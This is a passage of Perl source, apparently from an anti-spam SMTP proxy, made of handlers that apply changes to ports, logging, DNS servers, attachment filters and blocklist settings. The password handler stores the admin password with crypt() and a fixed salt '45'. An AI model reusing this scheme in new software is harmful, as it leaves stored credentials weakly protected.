        mlog(0,"AdminUpdate: request to listen on new admin port $new $usessl (changed from $old) -- restart required; euid=$>");
        return "<br />Restart required; euid=$><script type=\"text/javascript\">alert(\'new admin port $usessl - ASSP-Restart required\');</script>";
    }
}

sub ConfigChangeStatPort {my ($name, $old, $new, $init)=@_;
    my $usessl;
    my @dummy;
    my $highport = 1;
    return if $new eq $old && ! $init;
    return if $WorkerNumber != 0;
    my $dummy;
    my $StatSocket;
    foreach my $port (split(/\|/o,$new)) {
        if ($port =~ /^.+:([^:]+)$/o) {
            if ($1 < 1024) {
                $highport = 0;
                last;
            }
        } else {
            if ($port < 1024) {
                $highport = 0;
                last;
            }
        }
    }
    $webStatPort=$Config{webStatPort}=$new;
    if($> == 0 || $highport || $^O eq "MSWin32") {

        # change the listenport
        foreach my $StatSock (@StatSocket) {
            unpoll($StatSock,$readable);
            unpoll($StatSock,$writable);
            close($StatSock) || eval{$StatSock->close;} || eval{$StatSock->kill_socket();} ||
            delete $SocketCalls{$StatSock};
        }

        if ($CanUseIOSocketSSL && $enableWebStatSSL) {
            ($StatSocket,$dummy) = newListenSSL($webStatPort,\&NewStatConnection);
            @StatSocket = @$StatSocket;
            $usessl = 'HTTPS';
        } else {
            ($StatSocket,$dummy) = newListen($webStatPort,\&NewStatConnection);
            @StatSocket = @$StatSocket;
            $usessl = '';
        }
        for (@$dummy) {s/:::/\[::\]:/o;}
        if(@StatSocket) {
            mlog(0,"AdminUpdate: listening on new stat port @$dummy $usessl ");
        } else {

            # couldn't open the port -- switch back
            if ($usessl && $new eq $old) {
                ($StatSocket,$dummy) = newListen($webStatPort,\&NewStatConnection);
                @StatSocket = @$StatSocket;
            } elsif ($usessl) {
                ($StatSocket,$dummy) = newListenSSL($webStatPort,\&NewStatConnection);
                @StatSocket = @$StatSocket;
            } else {
                ($StatSocket,$dummy) = newListen($webStatPort,\&NewStatConnection);
                @StatSocket = @$StatSocket;
            }
            for (@$dummy) {s/:::/\[::\]:/o;}
            mlog(0,"AdminUpdate: couldn't open new port -- still listening on @$dummy");
            $webStatPort=$Config{$name}=$old;
            return "<span class=\"negative\">Couldn't open new port $new -- still listening on @$dummy</span>";
        }
        return '';
    } else {

        # don't have permissions to change
        mlog(0,"AdminUpdate: request to listen on new stat port $new $usessl (changed from $old) -- restart required; euid=$>");
        return "<br />Restart required; euid=$><script type=\"text/javascript\">alert(\'new stat port $usessl - ASSP-Restart required\');</script>";
    }
}

sub ConfigChangeRunTaskNow {
    my ( $name, $old, $new, $init ) = @_;

    if ( !$init && $new ) {
        if ( !$RunTaskNow{$name} ) {
            $RunTaskNow{$name} = 1;
            mlog( 0, "AdminUpdate: task $name was queued to run" );
            $check4queuetime = time - 1;
            return ' - task was started';
        } else {
            mlog( 0, "task $name is just running - ignoring request" );
            return
"<span class=\"negative\"> - task $name is just running - ignoring request</span>";
        }
    }
}

sub iso2hex {
	my $s = shift;
    use bytes;
    $s = join('',unpack 'H*',$s);
    no bytes;
    return $s;
}

sub hex2iso {
	my $h = shift;
    use bytes;
    $h = pack 'H*',$h;
    no bytes;
    return $h;
}

sub ConfigChangeValencePB {my ($name, $old, $new, $init)=@_;
    $Config{$name} = $$name = $new;
    my ($s1,$s2,$s3) = split(/[\|,\s]+/o,$new);
    $s2 = $s1 unless defined $s2;
    @$name = ($s1,$s2,$s3);
    my $s3comment = ", new IP limit counter ${$name}[2]" if $s3;
    mlog(0,"AdminUpdate: $name updated from '$old' to '$new' - new message score: ${$name}[0] , new IP score ${$name}[1] $s3comment") unless ($init || $new eq $old);
    return '';
}

sub ConfigChangePassword {
    my ( $name, $old, $new, $init ) = @_;

    # change the Password
    if ( !$init ) {
        $webAdminPassword = $new;
        $webAdminPassword = crypt( $webAdminPassword, "45" )
          if $webAdminPassword;
        $Config{webAdminPassword} = $webAdminPassword;
        mlog( 0, "AdminUpdate: Password changed" );
        return '';

    }
}

sub ConfigChangeRelayPort {my ($name, $old, $new, $init)=@_;
    unless ($relayHost && $new) {
        if(@lsnRelay) {
          foreach my $Relay (@lsnRelay) {
            unpoll($Relay,$readable);
            unpoll($Relay,$writable);
            close($Relay);
            delete $SocketCalls{$Relay};
          }
          mlog(0,"AdminUpdate: relay port disabled");
          return '<br />relay port disabled';
        } else {
            return "<br />relayHost ($relayHost) and relayPort ($new) must be defined to enable relaying";
        }
    }
    my $highport = 1;
    foreach my $port (split(/\|/o,$new)) {
        if ($port =~ /^.+:([^:]+)$/o) {
            if ($1 < 1024) {
                $highport = 0;
                last;
            }
        } else {
            if ($port < 1024) {
                $highport = 0;
                last;
            }
        }
    }
    if($> == 0 || $highport || $^O eq "MSWin32") {

        # change the listenport
        $relayPort=$new;
        if(@lsnRelay) {
          foreach my $Relay (@lsnRelay) {
            unpoll($Relay,$readable);
            unpoll($Relay,$writable);
            close($Relay);
            delete $SocketCalls{$Relay};
          }
        }
        my ($lsnRelay,$lsnRelayI)=newListen($relayPort,\&NewSMTPConnection);
        @lsnRelay = @$lsnRelay; @lsnRelayI = @$lsnRelayI;
        for (@$lsnRelayI) {s/:::/\[::\]:/o;}
        mlog(0,"AdminUpdate: listening for relay connections at @$lsnRelayI ");
        return '';
    } else {

        # don't have permissions to change
        mlog(0,"AdminUpdate: request to listen on new relay port $new (changed from $old) -- restart required; euid=$>");
        return "<br />Restart required; euid=$><script type=\"text/javascript\">alert(\'new relay port - ASSP-Restart required\');</script>";
    }
}



sub ConfigChangePOP3File {
    my ($name, $old, $new, $init)=@_;
    mlog(0,"AdminUpdate: POP3 config file updated from '$old' to '$new'") unless ($init || $new eq $old);

    if ($new ne $old or $init) {
        $old =~ s/^ *file: *//io;
        $new =~ s/^ *file: *//io;
        if ($old) {
            $old =~ s/\\/\//go;
            $old = "$base/$old" ;
            delete $CryptFile{$old};
#            mlog(0,"info: deregistered encrypted $name file $old") if $WorkerNumber == 0 && $new ne $old;
        }
        if ($new) {
            $new =~ s/\\/\//go;
            $new = "$base/$new" ;
            $CryptFile{$new} = 1;
#            mlog(0,"info: registered encrypted $name file $new") if $WorkerNumber == 0;
        }
    }
    return '';
}
sub ConfigChangeLogfile {my ($name, $old, $new, $init)=@_;
    printLOG("close");

    $logfile=$new;
    $Config{logfile}=$new;
    # open the logfile
    printLOG("open");

    mlog(0,"AdminUpdate: log file changed from '$old' to '$new' ");
    '';
}

sub ConfigChangeLogCharset {my ($name, $old, $new, $init)=@_;
    printLOG("close");

    $LogCharset=$new;
    $Config{LogCharset}=$new;
    $WORS = "\r\n" if $enableWORS && !$LogCharset;
    $WORS = "\n" if !$enableWORS;
    # open the logfile
 	printLOG("open");

    mlog(0,"AdminUpdate: LogCharset changed from '$old' to '$new' ");
    '';
}

sub ConfigChangeWors {my ($name, $old, $new, $init)=@_;
    printLOG("close");

    $enableWORS=$new;
    $Config{enableWORS}=$new;
    $WORS = "\r\n" if $enableWORS && !$LogCharset;
    $WORS = "\n" if !$enableWORS;
    # open the logfile
    printLOG("open");

    mlog(0,"AdminUpdate: enableWORS changed from '$old' to '$new' ");
    '';
}

sub ConfigChangeAutoUpdate {
    my ($name, $old, $new, $init)=@_;
    return if $WorkerNumber != 0;
    mlog(0,"AdminUpdate: $name from '$old' to '$new'") unless $init || $new eq $old;
    $$name = $Config{$name} = $new;
    my $ret = '';
    if ($new == 2 and $new ne $old and ! $init) {
        mlog(0,"info: forced to run a low priority autoupdate now") if $MaintenanceLog;
        $ret = '* forced to run a low priority autoupdate now';
        open(my $F ,'>>',"$base/version.txt");
        close $F;
        mlog(0,"info: changed file time of file $base/version.txt") if $MaintenanceLog >= 2;
        unlink "$base/download/assp.pl.gz.old";
        move("$base/download/assp.pl.gz","$base/download/assp.pl.gz.old");
        mlog(0,"info: moved file $base/download/assp.pl.gz to $base/download/assp.pl.gz.old") if $MaintenanceLog >= 2;
        $NextASSPFileDownload = -1;
        $NextVersionFileDownload = -1;
    }
    return $ret;
}

sub ConfigDEBUG {
    my ( $name, $old, $new, $init ) = @_;
    close $DEBUG if $debug && !$AsASecondary;
    $debug = $new;
    if ($debug && !$init && !$AsASecondary) {
    	my $fn = localtime();
 		$fn =~ s/^... (...) +(\d+) (\S+) ..(..)/$1-$2-$4-$3/;
 		$fn =~ s/[\/:]/\-/g;
    	open( $DEBUG, ">$base/debug/" . $fn . ".dbg" );        
        binmode($DEBUG);
        my $oldfh = select($DEBUG);
        $| = 1;
        select($oldfh);
        eval(
            q[sub d {
   my $time = &timestring();
   
   my $debugprint = $_[0];
           $debugprint =~ s/\n//;
           $debugprint =~ s/\r//;
           $debugprint =~ s/\s+$//;
   
   print $DEBUG "$time <$debugprint>\n";
  }
  ]
        );
      } else {
        eval(q[sub d{return;}]);
      }
    mlog( 0, "AdminUpdate: debug file changed from '$old' to '$new'  " );
    '';
  }

sub updateGoodAttach {my ($name, $old, $new, $init)=@_;

    mlog(0,"AdminUpdate: Goodattach Level 4 updated from '$old' to '$new'") unless $init || $new eq $old;
    ${$name} = $Config{$name} = $new;
    SetRE('goodattachRE',qq[\\.($new)\$],'i',"Good Attachment",$name);
}
sub updatePassAttach {my ($name, $old, $new, $init)=@_;

    mlog(0,"AdminUpdate: Passattach updated from '$old' to '$new'") unless $init || $new eq $old;
    ${$name} = $Config{$name} = $new;
    SetRE('passattachRE',qq[\\.?($new)\$],'i',"Pass Attachment",$name);
}
# bad attachment Settings, Checks and Update.
sub updateBadAttachL1 {my ($name, $old, $new, $init)=@_;
    mlog(0,"AdminUpdate: Badattach Level 1 updated from '$old' to '$new'") unless $init || $new eq $old;
    SetRE('badattachL1RE',qq[\\.(?:$new)\$],
#          'i-optimsx',
          'i',
          'bad attachment L1',$name);
    ${$name} = $Config{$name} = $new;
    updateBadAttachL2('BadAttachL2','',$Config{BadAttachL2},$new);
}
sub updateBadAttachL2 {my ($name, $old, $new, $init)=@_;
    mlog(0,"AdminUpdate: Badattach Level 2 updated from '$old' to '$new'") unless $init || $new eq $old;
    ${$name} = $Config{$name} = $new;
    $new.='|'.$init;
    SetRE('badattachL2RE',qq[\\.($new)\$],'i',"bad attachment L2",$name);
    updateBadAttachL3('BadAttachL3','',$Config{BadAttachL3},$new);
}
sub updateBadAttachL3 {my ($name, $old, $new, $init)=@_;
    mlog(0,"Badattach Level 3 updated from '$old' to '$new'") unless $init || $new eq $old;
    ${$name} = $Config{$name} = $new;
    $new.='|'.$init;
    SetRE('badattachL3RE',qq[\\.($new)\$],'i',"bad attachment L3",$name);
    $badattachRE[1]=$badattachL1RE;
    $badattachRE[2]=$badattachL2RE;
    $badattachRE[3]=$badattachL3RE;

}

sub updateSuspiciousAttach {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: Suspicious Attach updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    $new .= '|' . $init;
    SetRE(
        'suspiciousattachRE', qq[\\.($new)\$],
        'i',                  "suspicious attachment "
    );
    '';
}

sub updateUseLocalDNS {
    my ( $name, $old, $new, $init ) = @_;
    my $ret;
    unless ( $init || $new eq $old ) {
        mlog( 0, "AdminUpdate: UseLocalDNS updated from '$old' to '$new'" );
        ${$name} = $Config{$name} = $new;
        $ret = updateDNS( 'updateDNS', '', $Config{DNSServers}, $init );
    }
    return $ret;
}

sub updateDNS {
    my ( $name, $old, $new, $init ) = @_;
    return '' if $WorkerNumber != 0 && $WorkerNumber != 10000;
    return '' if $WorkerNumber == 10000 && $ComWorker{$WorkerNumber}->{rereadconfig};
    mlog( 0, "AdminUpdate: DNS Name Servers updated from '$old' to '$new'" )
      unless $init || $new eq $old || $name eq 'updateDNS';
    ${$name} = $Config{$name} = $new;
    
    if ($CanUseDNS) {
        my @ns = split( /\|/o, $new );

        my $res = Net::DNS::Resolver->new(tcp_timeout => $DNStimeout,
                                          udp_timeout => $DNStimeout,
                                          retrans     => $DNSretrans,
                                          retry       => $DNSretry
                                          );
        getRes('force', $res);

        if ( @ns && !$UseLocalDNS ) {
            $res->nameservers(@ns);
        }
        my @oldnameserver = @nameservers;
        @nameservers = $res->nameservers;

        my @availDNS;
        my @diedDNS;
        my $domainName = "sourceforge.net";
        my %DNSResponseTime;
        foreach my $dnsServerIP (@nameservers) {
            my $btime = Time::HiRes::time();
            $res->nameservers($dnsServerIP);
            my $response = $res->search($domainName);

            my $atime = int((Time::HiRes::time() - $btime) * 1000);
            mlog( 0, "info: Name Server $dnsServerIP: ResponseTime = $atime ms" ) if $DNSResponseLog;
            $DNSResponseTime{$dnsServerIP} = $atime;
	        if ($response) {
                push (@availDNS,$dnsServerIP);
            } else {
                push (@diedDNS,$dnsServerIP);
            }
        }
        @availDNS = sort {$DNSResponseTime{$main::a} <=> $DNSResponseTime{$main::b}} @availDNS;
#to prevent shared @nameservers to get empty - duplicate entries will be deleted at the end!
        my @newDNS = @availDNS;
        push @newDNS , @diedDNS unless scalar @newDNS;
        foreach (@availDNS) {
            mlog( 0, "info: Name Server $_: OK " ) unless $init || $new eq $old;
        }
        foreach (@diedDNS) {
	        mlog( 0, "warning: Name Server $_: does not respond or timed out " ) unless $init;
        }

        @nameservers = @newDNS;

        my $resetDNSresolvers = (scalar @oldnameserver != scalar @nameservers);
        my $i = 0;
        while (! $resetDNSresolvers && (my $dns = shift @oldnameserver)) {
            $resetDNSresolvers = 1 if ($dns ne $nameservers[$i++]);
        }
        mlog(0,"info: switched (DNS) nameserver order to " . join(' , ',@nameservers)) if($resetDNSresolvers && ($MaintenanceLog || $DNSResponseLog));
        if ($resetDNSresolvers || ! @availDNS || @diedDNS) {
            $DNSresolverTime{$_} = 0 for (0..$NumComWorkers,10000,10001);
        }
        if (! @availDNS) {
            mlog(0,"ERROR: !!!! no answering DNS-SERVER found !!!!");
        }
        if (@diedDNS) {
            return '<span class="negative">*** '.join(' , ',@diedDNS).' timed out </span>- using DNS-Servers: '.join(' , ',@nameservers);
        }
        return 'using DNS-Servers: '.join(' , ',@nameservers);
    }
    return '<span class="negative">*** module Net::DNS is not installed </span>';
}


sub configUpdateRBLCR {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: RBL Cache Refresh updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    &cleanCacheRBL unless $init || $new eq $old;
}

sub configUpdatePTRCR {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: PTR Cache Refresh updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    &cleanCachePTR unless $init || $new eq $old;
}

sub configUpdateRWLCR {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: RWL Cache Refresh updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    if (!$RWLCacheExp) {
    	$RWLCacheObject->DESTROY() if $RWLCacheObject;
    	$RWLCacheExp=24;
		$Config{RWLCacheExp}=24;
	} else {
    	&cleanCacheRWL unless $init || $new eq $old;
    }
}
sub configUpdateBDNSCR {my ($name, $old, $new, $init)=@_;
    return unless $WorkerNumber == 0;
    $$name = $new;
    $Config{$name} = $new;
    mlog(0,"AdminUpdate: Backscatter-DNS Cache Refresh updated from '$old' to '$new'") unless $init || $new eq $old;

}
sub configUpdateMXACR {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: MXA Cache Refresh updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    &cleanCacheMXA;
}

sub configUpdateSBCR {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0,
        "AdminUpdate: SenderBase Cache Refresh updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    &cleanCacheSB unless $init || $new eq $old;
}

sub configUpdateTrapCR {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0,
        "AdminUpdate: Invalid Addresses Refresh updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    &cleanTrapPB unless $init || $new eq $old;
}

sub configUpdateSPFCR {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: SPF Cache Refresh updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    &cleanCacheSPF unless $init || $new eq $old;
}

sub configUpdateURIBLCR {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: $name updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    &cleanCacheURI unless $init || $new eq $old;
}

sub configUpdateSSLCR {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: SSL Error Cache Refresh updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    &cleanCacheSSL unless $init || $new eq $old;
}
# URIBL Settings Checks, and Update.
sub configUpdateURIBL {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: URIBL-Enable updated from '$old' to '$new'" )
      unless $init || $new eq $old;

    $ValidateURIBL = $Config{ValidateURIBL} = $new;
    unless ($CanUseURIBL) {
        mlog( 0,
"AdminUpdate:error URIBL-Enable updated from '1' to '0', Net::DNS not installed"
        ) if $Config{ValidateURIBL};
        ( $ValidateURIBL, $Config{ValidateURIBL} ) = 0;
        return
'<span class="negative">*** Net::DNS must be installed before enabling URIBL.</span>';
    } else {
        configUpdateURIBLMH( 'URIBLmaxhits', '', $Config{URIBLmaxhits},
            'Cascading' );
    }
}

# RWL Settings Checks, and Update.
sub configUpdateRWL {
    my ( $name, $old, $new, $init ) = @_;

    mlog( 0, "AdminUpdate: RWL-Enable updated from '$old' to '$new'" )
      unless $init || $new eq $old || !$new and !$old;
    ${$name} = $Config{$name} = $new;
    unless ($CanUseRWL) {
        mlog( 0,
"AdminUpdate:error RWL-Enable updated from '$new' to '', Net::DNS not installed"
        ) if $Config{ValidateRWL};
        ( $ValidateRWL, $Config{ValidateRWL} ) = ();
        return
'<span class="negative">*** Net::DNS must be installed before enabling RWL.</span>';
    } else {
        configUpdateRWLMH( 'RWLminhits', '', $Config{RWLminhits}, 'Cascading' );
    }
}

sub configUpdateRWLMH {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: RWL Minimum Hits updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    ${$name} = $Config{$name} = $new;
    if ( $new <= 0 ) {
        mlog( 0,
"AdminUpdate:error RWL-Enable updated from '1' to '', RWLminhits must be defined and positive"
        ) if $Config{ValidateRWL};
        ( $ValidateRWL, $Config{ValidateRWL} ) = ();
        return
'<span class="negative">*** RWLminhits must be defined and positive before enabling RWL.</span>';
    } else {
        configUpdateRWLMR( 'RWLmaxreplies', '', $Config{RWLmaxreplies},
            'Cascading' );
    }
}

sub configUpdateRWLMR {
    my ( $name, $old, $new, $init ) = @_;

    mlog( 0, "AdminUpdate: RWL Maximum Replies updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    ${$name} = $Config{$name} = $new;
    if ( $new < $RWLminhits ) {
        mlog( 0,
"AdminUpdate:error RWL-Enable updated from '1' to '', RWLmaxreplies not >= RWLminhits"
        ) if $Config{ValidateRWL};
        ( $ValidateRWL, $Config{ValidateRWL} ) = ();
        return
'<span class="negative">*** RWLmaxreplies must be more than or equal to RWLminhits before enabling RWL.</span>';
    } else {
        configUpdateRWLSP( 'RWLServiceProvider', '',
            $Config{RWLServiceProvider}, 'Cascading' );
    }
}

sub configUpdateRWLSP {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0,
        "AdminUpdate: RWL Service Providers updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    ${$name} = $Config{$name} = $new;
    $new = checkOptionList( $new, 'RWLServiceProvider', $init );
    my $domains = ( $new =~ s/\|/|/g ) + 1;
    
    if ( $domains < $RWLmaxreplies ) {
        mlog( 0,
"AdminUpdate:error RWL-Enable updated from '1' to '',RWLServiceProvider not >= RWLmaxreplies "
        ) if $Config{ValidateRWL};
        ( $ValidateRWL, $Config{ValidateRWL} ) = ();
        return
'<span class="negative">*** RWLServiceProvider must contain more than or equal to RWLmaxreplies  before enabling RWL. RWL deactivated. </span>';
    } elsif ($CanUseRWL) {
		    my @templist = split( /\|/, $new );
		    @rwllist   = ();
            %rwlweight = ();
            foreach my $c (@templist) {

                if ( $c =~ /(.*)\=\>(.*)/ ) {
                    push( @rwllist, $1 );
                    $rwlweight{$1} = $2;
                } else {

                    push( @rwllist, $c );
                }
            }


        if ($ValidateRWL) {
            return ' & RWL activated';
        } else {
            return 'RWL deactivated';
        }
    }
}




# DNSBL Settings Checks, and Update.

sub configUpdateRBL {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: ValidateRBL updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    ${$name} = $Config{$name} = $new;
    unless ($CanUseRBL) {
        mlog( 0, "AdminUpdate:error DNSBL disabled, Net::DNS not installed " )
          if $Config{ValidateRBL};
        ( $ValidateRBL, $Config{ValidateRBL} ) = 0;
        return
'<span class="negative">*** Net::DNS must be installed before enabling DNSBL.</span>';
    } else {
        configUpdateRBLMH( 'RBLmaxhits', '', $Config{RBLmaxhits}, 'Cascading' );
    }
}

sub configUpdateRBLMH {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: RBLmaxhits updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    ${$name} = $Config{$name} = $new;
    if ( $new <= 0 ) {
        mlog( 0,
"AdminUpdate:error DNSBL disabled', RBLmaxhits must be > 0 before enabling DNSBL.</span>';"
        ) if $Config{ValidateRBL};
        ( $ValidateRBL, $Config{ValidateRBL} ) = 0;
        return
'<span class="negative">*** RBLmaxhits must be > 0 before enabling DNSBL.</span>';
    } else {
        configUpdateRBLMR( 'RBLmaxreplies', '', $Config{RBLmaxreplies},
            'Cascading' );
    }
}

sub configUpdateRBLMR {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: RBLmaxreplies updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    ${$name} = $Config{$name} = $new;
    configUpdateRBLSP( 'RBLServiceProvider', '', $Config{RBLServiceProvider},
        'Cascading' );
}

sub configUpdateRBLSP {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: RBLServiceProvider updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    ${$name} = $Config{$name} = $new;
    $new = checkOptionList( $new, 'RBLServiceProvider', $init );
    my $domains = ( $new =~ s/\|/|/go ) + 1;
    $RBLmaxreplies = $domains;
    
    if ($new) {
        mlog( 0, "AdminUpdate: DNSBLs: '$new'" ) if !$init;

        
        if ( $domains < $RBLmaxreplies ) {
            mlog( 0,
"AdminUpdate:error DNSBL disabled, RBLServiceProvider not >= RBLmaxreplies"
            ) if $Config{ValidateRBL};
            ( $ValidateRBL, $Config{ValidateRBL} ) = 0;
            return
'<span class="negative">*** RBLServiceProvider must be >= RBLmaxreplies  before enabling DNSBL.</span>';
        } elsif ($CanUseRBL) {
        	my @templist = split( /\|/o, $new );

        	@rbllist   = ();
        	%rblweight = ();
        	while (@templist) {
            	my $c = shift @templist;
            	if ($NODHO && $c =~ /dnsbl\.httpbl\.org/io) {
                	mlog(0,"RBLSP:warning - dnsbl.httpbl.org is not supported as RBL-Service-Provider by ASSP and will be ignored - remove the entry")
                    	if $WorkerNumber == 0;
                	next;
            	}
            	if ( $c =~ /(.*)\=\>(.*)=>(.*)/o ) {
                	my ($sp,$res,$w) = ($1,$2,$3);
                	next unless $sp;
                	$res ||= '*';
                	push( @rbllist, $sp ) unless grep(/\Q$sp\E/, @rbllist);
                	$sp =~ s/^.*?\$DATA\$\.?//io;
                	$rblweight{$sp}{$res} = $w;
            	} elsif ( $c =~ /(.*)\=\>(.*)/o ) {
                	my ($sp,$w) = ($1,$2);
                	next unless $sp;
                	push( @rbllist, $sp ) unless grep(/\Q$sp\E/, @rbllist);
                	$sp =~ s/^.*?\$DATA\$\.?//io;
                	$rblweight{$sp}{'*'} = $w;
            	} else {
                	$c =~ s/^.*?\$DATA\$\.?//io;
                	next unless $c;
                	push( @rbllist, $c ) unless grep(/\Q$c\E/, @rbllist);
            }
        }
        $RBLhasweights = 0;
        $RBLhasweights = 1 if scalar( keys %rblweight);
        if ( $WorkerNumber == 10000 ) {
            &cleanCacheRBL() unless $init || $new eq $old;
        }

        if ($ValidateRBL) {
            return ' & DNSBL activated';
        }
        else {
            return 'DNSBL deactivated';
        }
    }
    } else {
        mlog( 0, "AdminUpdate: no DNSBLs available" );
        return 'no DNSBLs  available';
    }
}

sub configUpdateMaxSize {
    my ( $name, $old, $new, $init , $desc) = @_;
    mlog( 0, "AdminUpdate: $name updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    ${$name} = $Config{$name} = $new;
    my %hash = (
                 'MaxRealSizeAdr' => 'MRSadr',
                 'MaxSizeAdr' => 'MSadr',
                 'MaxRealSizeExternalAdr' => 'MRSEadr',
                 'MaxSizeExternalAdr' => 'MSEadr'
               );
    my $hash = $hash{$name};
    $new = checkOptionList( $new, $name, $init );
    my $ret;

    my @templist = split( /\|/o, $new );

    my %tmp = ();
    while (@templist) {
        my $c = shift @templist;
        $c =~ s/\s//go;
        my ($adr,$val) = $c =~ /^(.+?)\=\>(\d+)$/o;
        next unless $adr;
        next unless defined $val;
        if ($adr =~ /^\@.+$/o) {                         # a domain
            $adr = '[^@]+'.$adr;
            $adr = '^(?i:'.$adr.')$';
        } elsif ($adr =~ /^[^@]+\@$/o) {                 # a user name with @
            $adr = $adr.'[^@]+';
            $adr = '^(?i:'.$adr.')$';
        } elsif ($adr =~ /^(?:\d{1,3}\.[\d\.\*\?]+|[a-f0-9:\?\*]+)$/io) {    # an IP address
            $adr = '^(?i:'.$adr.')';
        } elsif ($adr !~ /\@/o) {                        # a simple user name
            $adr = $adr.'@[^@]+';
            $adr = '^(?i:'.$adr.')$';
        } elsif ($adr =~ /^[^@]+\@[^@]+$/) {             # an email address
            $adr = '^(?i:'.$adr.')$';
        } else {
            next;
        }
        $adr =~ s/([^\\]?)\@/$1\\@/go;
        $tmp{$adr} = $val;
    }
    %{$hash} = %tmp;
    return $ret;
}

sub configUpdateStringToNum {
    my ( $name, $old, $new, $init , $desc) = @_;
    mlog( 0, "AdminUpdate: $name updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    ${$name} = $Config{$name} = $new;
    $new = checkOptionList( $new, $name, $init );
    my %hash = (
                 'MaxEqualXHeader' => 'MEXH'
               );
    my $hash = $hash{$name};
    my $ret;

    my @templist = split( /\|/o, $new );

    my %tmp = ();
    while (@templist) {
        my $c = shift @templist;
        $c =~ s/^\s+//o;
        $c =~ s/\s+$//o;
        my ($tag,$val) = $c =~ /^(.+?)\s*\=\>\s*(\d+)$/o;
        next unless $tag;
        next unless $val;
        $tmp{$tag} = $val;
    }
    %{$hash} = %tmp;
    return $ret;
}
sub configUpdateURIBLMH {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: URIBL Maximum Hits updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    ${$name} = $Config{$name} = $new;
    if ( $new <= 0 ) {
        mlog( 0,
"AdminUpdate:error URIBL-Enable updated from '1' to '0', URIBLmaxhits not > 0"
        ) if $Config{ValidateURIBL};
        ( $ValidateURIBL, $Config{ValidateURIBL} ) = 0;
        return
'<span class="negative">*** URIBLmaxhits must be defined and positive before enabling URIBL.</span>';
    } else {
        configUpdateURIBLMR( 'URIBLmaxreplies', '', $Config{URIBLmaxreplies},
            'Cascading' );
    }
}

sub configUpdateURIBLMR {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0,
        "AdminUpdate: URIBL Maximum Replies updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    ${$name} = $Config{$name} = $new;
    if ( $new < $URIBLmaxhits ) {
        mlog( 0,
"AdminUpdate:error URIBL-Enable updated from '1' to '0': URIBLmaxreplies not >=  URIBLmaxhits"
        ) if $Config{ValidateURIBL};
        ( $ValidateURIBL, $Config{ValidateURIBL} ) = 0;
        return
'<span class="negative">*** URIBLmaxreplies must be more than or equal to URIBLmaxhits before enabling URIBL.</span>';
    } else {
        configUpdateURIBLSP( 'URIBLServiceProvider', '',
            $Config{URIBLServiceProvider}, 'Cascading' );
    }
}
sub configUpdateURIBLSP {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: URIBL Service Providers updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    ${$name} = $Config{$name} = $new;
    $new = checkOptionList( $new, 'URIBLServiceProvider', $init );
    my $domains = ( $new =~ s/\|/|/go ) + 1;
    $URIBLmaxreplies = $domains;
    if ( $domains < $URIBLmaxreplies ) {
        mlog( 0, "AdminUpdate: warning count of URIBLServiceProvider not >= URIBLmaxreplies - possibly ok if weigths are used" )
          if $Config{ValidateURIBL};
    }
    if ($CanUseURIBL) {
        my @templist = split( /\|/o, $new );
        @uribllist = ();
        %URIBLweight = ();
        while (@templist) {
            my $c = shift @templist;

            if ( $c =~ /(.*)\=\>(.*)=>(.*)/o ) {
                my ($sp,$res,$w) = ($1,$2,$3);
                next unless $sp;
                $res ||= '*';
                push( @uribllist, $sp ) unless grep(/\Q$sp\E/, @uribllist);
                $sp =~ s/^.*?\$DATA\$\.?//io;
                $URIBLweight{$sp}{$res} = $w;
            } elsif ( $c =~ /(.*)\=\>(.*)/o ) {
                my ($sp,$w) = ($1,$2);
                next unless $sp;
                push( @uribllist, $sp ) unless grep(/\Q$sp\E/, @uribllist);
                $sp =~ s/^.*?\$DATA\$\.?//io;
                $URIBLweight{$sp}{'*'} = $w;
            } else {
                $c =~ s/^.*?\$DATA\$\.?//io;
                next unless $c;
                push( @uribllist, $c ) unless grep(/\Q$c\E/, @uribllist);
            }
        }
        $URIBLhasweights = 0;
        $URIBLhasweights = 1 if scalar( keys %URIBLweight);
        &cleanCacheURI() unless $init || $new eq $old;
        if ($ValidateURIBL) {
            return ' & URIBL activated';
        } else {
            return 'URIBL deactivated';
        }
    }
}
